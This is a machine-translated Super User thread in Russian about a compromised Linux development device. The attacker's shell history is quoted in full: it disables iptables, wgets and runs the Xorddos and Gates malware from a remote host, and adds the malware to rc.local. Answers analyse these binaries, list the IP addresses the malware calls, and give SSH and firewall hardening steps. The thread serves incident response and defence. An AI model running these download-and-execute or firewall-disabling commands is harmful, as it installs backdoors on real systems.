Вопрос Я только что получил взломан?


Я разрабатываю потребительский продукт, и он должен быть подключен к Интернету, так что, как и ожидалось, он подключен к Интернету, чтобы я мог его правильно развить.

Я ушел на час или два, и когда я вернулся в свой офис, я заметил некоторые странные команды, написанные на терминале.

Глядя на файл журнала Linux, называемый auth.log Я вижу следующие строки (среди многих других):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

IP-адрес 40.127.205.162 оказывается принадлежит Microsoft,

Вот куча команд, которые использовались во время моего отсутствия:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

И более:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

Я совершенно не знал об этом. Как я могу защитить свой продукт должным образом?

Я хотел бы опубликовать полный auth.log файл. Как мне это сделать?

Кроме того, файл yjz1 который был загружен, кажется, является троянцем Linux и все это, похоже, делается какой-то группой хакеров в соответствии с http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

Должен ли я позвонить в Microsoft и поговорить с ними? Что мне делать?


482
2018-02-01 11:21


происхождения


Да, это не выглядит слишком хорошо. Я никоим образом не специалист в Linux, но что-то определенно пыталось выполнить там. Я не совсем уверен, хотя, хотя похоже, что он попытался войти в систему с правами root и не смог. Есть ли другие журналы в вашем auth.log? Любые другие средства удаленного администратора? Я видел, как Mac с поддержкой VNC-сервера можно взломать до этого, хотя это похоже на попытку SSH. Похоже, что IP-адреса, которые он загружал, размещаются в Китае где-то. - Jonno
Вы грубо вынуждены. Вот почему никто не оставляет сервер ssh в Интернете, даже если у вас есть пароль. В наши дни все, что не хватает на основе ключа, не является достаточно безопасным. - Journeyman Geek♦
Ну, у нас есть security.stackexchange.com, Но сначала первое: скомпрометированный хост больше нельзя доверять. Снимите его с сети. Если возможно, сделайте резервную копию, чтобы вы могли исследовать, что было сделано и как это было сделано. Затем переустановите ОС из чистого источника. Восстановить данные из резервных копий. Закрепите систему поэтому вы снова не заразитесь. Выяснить, как они попали, настоятельно рекомендуется. (Следовательно, рекомендуется сделать копию зараженной системы). - Hennes
FYI: 40.127.205.162 - это Microsoft Azure IP-адрес в соответствии с GeoIP. Следовательно, вы не можете обвинять Microsoft в нападении - это эквивалентно обвинению Amazon, потому что кто-то использовал EC2 для спама. Единственное, что действительно может сделать Microsoft, - это атаковать злоумышленников у Azure, но они скоро вернутся на другую облачную платформу. - nneonneo
Фактически, если это было написано на вашем терминале, хакер, вероятно, сидит в следующей кабине. - isanae


ответы:


EDIT 2:

есть одна веская причина, почему этот пост привлекает столько внимания: вам удалось записать всю живую сессию злоумышленника на вашем ПК. Это очень отличается от нашего повседневного опыта, когда мы имеем дело с открытием последствий своих действий и пытаемся их исправить. Здесь мы видим его на работе, видим, что у него возникают проблемы с созданием бэкдора, повторение шагов, работа лихорадочно (возможно, потому, что он сидел за вашим столом, как было предложено выше, или, возможно, и, на мой взгляд, более вероятно, потому что он был не удалось запустить его вредоносное ПО в системе, прочтите ниже) и попытайтесь развернуть полностью автономные инструменты управления. Это то, что ежедневно проводят исследователи безопасности со своими медовые ловушки, Для меня это очень редкий шанс и источник некоторого развлечения.


Вы определенно были взломаны. Доказательства этого не из фрагмента auth.log файл, который вы показывали, потому что это сообщает о неудачной попытке входа в систему, возникающей за короткий промежуток времени (две секунды). Вы заметите, что состояние второй линии Failed password, а третий - pre-auth отключиться: парень пытался и не смог.

Свидетельство приходит вместо этого из содержимого двух файлов http://222.186.30.209:65534/yjz а также http://222.186.30.209:65534/yjz1 которую злоумышленник загрузил в вашу систему.

Сайт в настоящее время открыт для всех, кто загрузил их, что я и сделал. Я сначала побежал file на них, который показал:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Затем я привел их на 64-разрядную виртуальную машину Debian. изучение их содержания через strings команда выявила много подозрительных (ссылка на различные известные атаки, на команды, которые нужно заменить, скрипт, который явно использовался для создания новой службы и т. д.).

Затем я произвел MD5-хэши обоих файлов и подал их на камри-х хэш-базу данных, чтобы узнать, являются ли они известными агентами вредоносного ПО. В то время как yjzне является, yjz1 и Cymru сообщает о вероятности обнаружения антивирусным программным обеспечением на уровне 58%. В нем также говорится, что этот файл был замечен в последний раз примерно три дня назад, поэтому он достаточно недавно.

Бег clamscan (часть clamav пакет) по двум файлам, которые я получил:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

поэтому теперь мы уверены, что стандартное программное обеспечение Linux может идентифицировать его.

Что вы должны сделать? 

Хотя и довольно новая, ни одна система не очень новая, см. статью от января 2015 года о XorDdos, например. Поэтому большинство бесплатных пакетов должно быть в состоянии удалить его. Ты должен попытаться: clamav, rkhunter, chkrootkit, У меня Googled вокруг, и видел, что они утверждают, что смогли это обнаружить. Используйте их, чтобы проверить работу предшественника, но после запуска этих трех программ вы должны быть готовы к работе.

Что касается более широкого вопроса, what should you do to prevent future infections, Ответ Journeyman - хороший первый шаг. Просто имейте в виду, что это постоянная борьба, которую все мы (включая меня!) Вполне могли потерять, даже не зная об этом.

РЕДАКТИРОВАТЬ:

В приглашении Виктора Тота (косвенное) я хотел бы добавить несколько комментариев. Несомненно, что злоумышленник столкнулся с некоторыми трудностями: он загружает два разных инструмента взлома, несколько раз изменяет свои разрешения, перезапускает их несколько раз и много раз пытается отключить брандмауэр. Легко догадаться, что происходит: он ожидает, что его инструменты взлома откроют канал связи по отношению к одному из его зараженных ПК (см. Ниже), и, когда он не видит, что этот новый канал появляется на его управляющем GUI, опасается его взлома инструмент блокируется брандмауэром, поэтому он повторяет процедуру установки. Я согласен с Виктором Тотом в том, что этот конкретный этап его операции, похоже, не приносит ожидаемых плодов, но я хотел бы поощрить вас очень сильно не недооценивать степень ущерба, нанесенного вашему компьютеру.

Я предоставляю здесь частичный вывод strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Это свидетельствует о подделке услуг (в /etc/init.d И в /etc/rc.d), с crontab, с файлом истории mysql, и несколько файлов в proc которые являются ссылками на bash (что предполагает, что была установлена ​​на заказ мошенническая версия вашей оболочки). Затем программа генерирует HTTP-запрос (на китайскоязычный сайт,

 Accept-Language: zh-cn

который дает сущность вышеизложенному замечанию Дэвида Шварца), что может создать еще больший хаос. В запросе двоичные файлы (Content-Type: application/x-www-form-urlencoded) должны быть загружены на атакуемый ПК (GET) и загружены на управляющую машину (POST). Я не мог установить, что будет загружено на атакуемый компьютер, но, учитывая небольшой размер обоих yjz а также yjz1 (1.1MB и 600kB, соответственно), я могу рискнуть предположить, что большинство файлов, необходимых для маскировки руткита, то есть измененные версии ls, netstat, ps, ifconfig, ..., будет загружен таким образом. И это объясняет лихорадочные попытки злоумышленника получить эту загрузку.

Нет уверенности в том, что вышеизложенное исчерпывает все возможности: у нас, конечно же, отсутствует часть транскрипта (между строками 457 и 481), и мы не видим выхода из системы; более того, особенно тревожные строки 495-497,

cd /tmp;  ./yd_cd/make

которые относятся к файлу, который мы не видели, и который мог бы быть компиляцией: если это так, это означает, что злоумышленник (наконец?) понял, что проблема с его исполняемыми файлами, и пытается его исправить, и в этом случае атакованный компьютер пошел навсегда. [Фактически, две версии вредоносного ПО, которые злоумышленник загрузил на взломанный компьютер (и я на свою 64-разрядную виртуальную машину Debian), предназначены для неподходящей архитектуры x86, а только имя взломанного ПК отдает тот факт, что он имел дело с архитектурой руки].

Причина, по которой я написал это редактирование, - настоятельно призвать вас как можно лучше расчесывать вашу систему с помощью профессионального инструмента или переустанавливать с нуля.

И, кстати, если это окажется полезным для всех, это список 331 IP-адреса, на которые yjz пытается подключиться. Этот список настолько велик (и, вероятно, ему суждено стать еще больше), что я считаю, что это причина для подделки mysql, Список, предоставленный другим бэкдором, идентичен, что, я полагаю, является причиной того, чтобы оставить такую ​​важную информацию в открытом доступе (I думать злоумышленник не хотел прилагать усилия для хранения их в формате ядра, поэтому он помещал весь список в текстовый файл, который, вероятно, считывается всеми его бэкдорами для любой ОС):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

Следующий код

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

в приведенном выше списке показано, что 302 из общего количества 331 адреса находятся в материковом Китае, остальные - в Гонконге, Монголии, Тайване. Это добавляет дальнейшую поддержку утверждения Дэвида Шварца о том, что это в основном китайское бот-кольцо.

ИЗМЕНИТЬ 3

По просьбе @ vaid (автор OP, прочитайте его комментарий ниже), я добавлю комментарий о том, как усилить безопасность базовой Linux-системы (для системы, предоставляющей множество сервисов, это гораздо более сложная тема). vaid заявляет, что он сделал следующее:

  1. Переустановите систему

  2. изменил пароль root на пароль длиной 16 символов со смешанными буквами нижнего и верхнего регистра и символами и цифрами.

  3. Изменено имя пользователя для 6-символьного имени пользователя и применяется тот же пароль, что и для root

  4. изменил порт SSH на что-то выше 5000

  5. отключил вход SSH root.

Это нормально (за исключением того, что я использую порт выше 10 000, поскольку многие полезные программы используют порты ниже 10 000). Но Я не могу особо подчеркнуть необходимость использования криптографических ключей для входа в ssh, вместо паролей. Я приведу вам личный пример. На одном из моих VPS я не знал, нужно ли менять порт ssh; Я оставил его в 22, но использовал криптовые ключи для аутентификации. я имел сотни попыток взлома в день, никому не удалось. Когда, уставая каждый день проверять, что никто не преуспел, я в конечном итоге переключил порт на что-то выше 10000, попытки взлома пошли к нулю. Имейте в виду, что это не то, что хакеры глупые (их нет!), Они просто охотятся на более легкую добычу.

Легко активировать крипто-ключ с RSA в качестве алгоритма подписи, см. Комментарий ниже Ян Худек (спасибо!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Теперь все, что вам нужно сделать, это скопировать файл id_rsa к машине, с которой вы хотите подключиться (в каталоге .ssh, также chmod'ed до 700), затем выполните команду

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

Когда вы уверены, что это работает, отредактируйте на сервере (= машине, к которой вы хотите подключиться) файл /etc/ssh/sshd_config, и измените линию

#PasswordAuthentication yes

в

PasswordAuthentication no

и перезапустите ssh оказание услуг (service ssh restart или systemctl restart ssh, или что-то вроде этого, в зависимости от дистрибутива).

Это будет очень много. Фактически, в настоящее время нет известных эксплойтов против текущих версий openssh v2, и RSA, как используется openssh v2,

Наконец, для того, чтобы действительно забрать машину, вам необходимо настроить брандмауэр (netfilter / iptables) следующим образом:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

Это: 1) позволяет использовать ssh-соединения как из локальной сети, так и из WAN, 2) позволяет все входные данные, созданные вашими запросами (например, при загрузке веб-страницы), 3) отбрасывает все остальное на входе, 4) позволяет все на выход и 5-6) позволяет все на интерфейсе loopback.

По мере роста ваших потребностей и открытия большего количества портов вы можете сделать это, добавив в верхней части списка такие правила, как:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

чтобы пользователи могли получить доступ к вашему веб-браузеру.


477
2018-02-01 16:05



Это было здорово читать. Я также попробовал файл yjz1 через Гугл VirusTotal.com который дал положительный результат. Я даже не видел этого yjzбыл загружен. Благодарю. - vaid
Будьте осторожны strings по ненадежным данным. lcamtuf.blogspot.com/2014/10/... - Matt Nordhoff
@MattNordhoff Спасибо за это, я был в блаженном неведении об этом. Тем не менее, на моем Debian команда «strings» передает тест, который вы связали с летающими цветами. Я предполагаю, что это связано с тем, что в руководстве указано: -a ... Обычно это поведение по умолчанию, Приветствия. - MariusMatutiae
Этот ответ показывает подход, который должен быть парадигмой: 1. Не позволяйте вашему вниманию отвлекаться неудачными попытками, быть предупрежденными. 2. Выделите успешные действия атакующего. 3. Изучите, что и как сделал атакующий. 4. Установите все с нуля или с последней неповрежденной (атакованной) резервной копии, добавив необходимые дополнительные защиты, которые вы нашли (пункт 3). 5. Помогите другим защитить себя (список скомпрометированных / подозрительных IP). - Hastur
[Отредактировано после комментария от @MariusMatutiae] - Тем не менее, OP должен понять, что на скомпрометированной системе, каждый исполняемый файл должен считаться злонамеренным, даже оболочкой, ls, who или что-нибудь еще. «Спасение данных» с использованием любого исполняемого файла в уязвимой системе (например, scp или rsync) может поставить под угрозу еще больше машин. - Dubu


Добро пожаловать в Интернет - где любой открытый SSH-сервер, скорее всего, будет запущен, жестоко принужден и подвергнут различным негодованиям.

Для начала вам необходимо полностью стереть хранилище на продукте. Обрати его, если вы хотите передать его для судебной экспертизы, но установка Linux на него теперь подозрительна.

Немного догадок, но

  1. Вы были жестоко принуждены или используйте общий пароль. Это секретность безопасности, но вам не нужен пароль для словаря или для использования учетной записи root, открытой для SSH. Отключите root SSH-доступ, если это опция или, по крайней мере, измените имя, чтобы они угадали оба. SSHing как root - это ужасная практика безопасности. Если вы должны использовать root, войдите в систему как другой пользователь и используйте su или sudo для переключения.

  2. В зависимости от продукта вы можете каким-либо образом заблокировать доступ SSH. Полная блокировка звучит как хорошая идея и позволяет пользователям открывать ее по мере необходимости, В зависимости от того, какие ресурсы вы можете сэкономить, учтите только разрешение IP-адресов в вашей собственной подсети или какую-то систему регулирования входа. Если вы не нуждаетесь в нем в конечном продукте, убедитесь, что он выключен.

  3. Используйте нестандартный порт. Безопасность снова скрывается, но это означает, что злоумышленнику нужно настроить таргетинг на ваш порт.

  4. Никогда не используйте пароль по умолчанию. Лучший подход, который я видел, - случайное создание пароля для определенного устройства и отправка его с вашим продуктом. Лучшая практика - это аутентификация на основе ключей, но я не знаю, как вы подходите к этому продукту на массовом рынке.


140
2018-02-01 13:24



5. Используйте аутентификацию открытого ключа, если это вообще возможно. Пароль auth далеко, гораздо менее безопасен. - Bob
Да, но если это потребительское устройство, возможно, это не вариант. В коробке разработчиков это звучит как блестящая идея. На сервере, ну, я до этого взломал; p - Journeyman Geek♦
Если это потребительское устройство, то один и тот же случайный пароль или ключ для всех из них также является плохой идеей. Как и все, что основано на его серийном номере, его MAC или другой идентифицируемой информации. (Что-то, чего не хватало многим модемам / маршрутизаторам SoHO / WAP). - Hennes
Это потребительское устройство. Тем не менее, подавляющее большинство целевого потребителя не будет достаточно образовано, чтобы знать, что такое SSH. Таким образом, SSH можно отключить и, скорее всего, отключить. - vaid
Кроме того, используйте fail2ban, - Shadur


О, ты определенно взломан. Кто-то, похоже, смог получить учетные данные root и попытался загрузить троянца в вашу систему. MariusMatutiae предоставил анализ полезной нагрузки.

Возникают два вопроса: а) Был ли атакующий успешным? И б) что вы можете с этим поделать?

Ответ на первый вопрос май быть нет. Обратите внимание, как злоумышленник неоднократно пытается загрузить и запустить полезную нагрузку, по-видимому, безуспешно. Я подозреваю, что что-то (SELinux, возможно?) Встал на его пути.

ОДНАКО: Нападавший также изменил ваш /etc/rc.d/rc.local файл, в надежде, что при перезагрузке вашей системы будет активирована полезная нагрузка. Если вы еще не перезапустили систему, не перезапускайте, пока вы не удалите эти изменения из /etc/rc.d/rc.local, Если вы уже перезапустили его ... ну, тяжелая удача.

Что касается того, что вы можете сделать по этому поводу: самое безопасное в том, чтобы стереть систему и переустановить с нуля. Но это не всегда может быть вариантом. Значительно менее безопасная вещь заключается в том, чтобы проанализировать то, что произошло, и стереть все ее следы, если сможете. Опять же, если вы еще не перезапустили систему, возможно, все, что требуется, - это чисто /etc/rc.d/rc.local, удалите все, что скачал злоумышленник, и последнее, но не менее важное, измените пароль darn!

Однако, если злоумышленник уже смог запустить полезную нагрузку, могут быть другие изменения в вашей системе, которые могут быть трудно обнаружить. Именно поэтому полная очистка - это единственный безопасный (и рекомендованный) вариант. Как вы указали, оборудование, о котором идет речь, может быть целью тестирования / разработки, поэтому, возможно, вытирать его не так больно, как может быть в других случаях.

Обновить: Несмотря на то, что я написал о возможном восстановлении, я хочу повторить MariusMatutiae очень сильный рекомендация не недооценивать потенциальный ущерб, причиненный этой полезной нагрузкой, и степень, в которой она могла бы скомпрометировать целевую систему.


33
2018-02-01 21:06



Благодарю. Я решил стереть систему. Я перезапустил его пару раз, но просто скопировал некоторые важные данные. Нет двоичных файлов, только исходный код. Наверное, сейчас я в безопасности. - vaid
Как насчет других ящиков в одной локальной сети? - WGroleau
Хороший вопрос. Описанная оболочка не указывает на какие-либо попытки обнаружить и скомпрометировать другие поля в одной и той же сети. В более общем плане, если злоумышленник получает доступ к ядру SSH (root), это в основном означает, что он обошел любые брандмауэры периметра. Тем не менее, это не означает, что другие блоки подвержены риску: для этого потребуется что-то еще, например, незакрепленная уязвимость, пароли, разделяемые между ящиками, авто-логин из одной коробки в другую и т. Д. - Viktor Toth


Мой sshd-honeypot также видел такую ​​атаку. Первые загрузки с этого URL начались 2016-01-29 10:25:33, и атаки все еще продолжаются. Нападения происходят из

103.30.4.212
111.68.6.170
118.193.228.169

Вклад от этих злоумышленников был:

сервис iptables stop
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2> & amp1 &
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 &
chmod u + x yjz1
./yjz1 &
cd / tmp

Таким образом, никаких действий, кроме установки бэкдора на последующий период, нет.


17
2018-02-02 10:34



Согласитесь, это та же МО. - MariusMatutiae
@MariusMatutiae Итак, это не ручная ручка? Это какой-то самораскрывающийся червь / бот? - NickG
@NickG Мое лучшее предположение, что это был не ручной хак. Какова вероятность того, что vaid работает в том же офисе, что и создатель ботнета в Китае? Кто-то нашел уязвимость в своей машине, скорее всего, слабо защищенный ssh-сервер, грубо, заставил его пароль, получил доступ, попытался установить себя тайно. Тем не менее, я бы тоже поспорил, что злоумышленник более свободно говорит с Windows, чем с Linux. Но у меня нет жесткий доказательство этого, просто образованное предположение. - MariusMatutiae


Все здесь предлагают солидные советы, но, чтобы быть ясными, ваши приоритеты должны быть подкреплены и проверять, что вам действительно нужно от этой системы, а затем вытирать ее новой установкой из известных безопасных носителей.

Прежде чем подключать свой недавно установленный хост к Интернету, выполните следующие действия:

  1. Создайте нового пользователя без полномочий root и войдите в систему как пользователь. Вам никогда не нужно входить в систему под именем root, просто sudo (подставлять пользователя), когда это необходимо.

  2. Установите SE Linux, параметры конфигурации, которые обеспечивают обязательный контроль доступа: https://wiki.debian.org/SELinux/Setup

  3. Рассмотрим аппаратный межсетевой экран между вашим офисом / домом и Интернетом. Я использую MicroTik, который имеет отличную поддержку сообщества: http://routerboard.com/,

Предполагая, что вы находитесь на графике завершения оплачиваемой работы, по крайней мере, № 1. # 3 быстро и дешево, но вам придется либо ждать на упаковке по почте, либо ездить в магазин.


11
2018-02-01 23:32



И, прежде всего, не оставляйте свой компьютер без присмотра с открытой корневой сессией! - MariusMatutiae


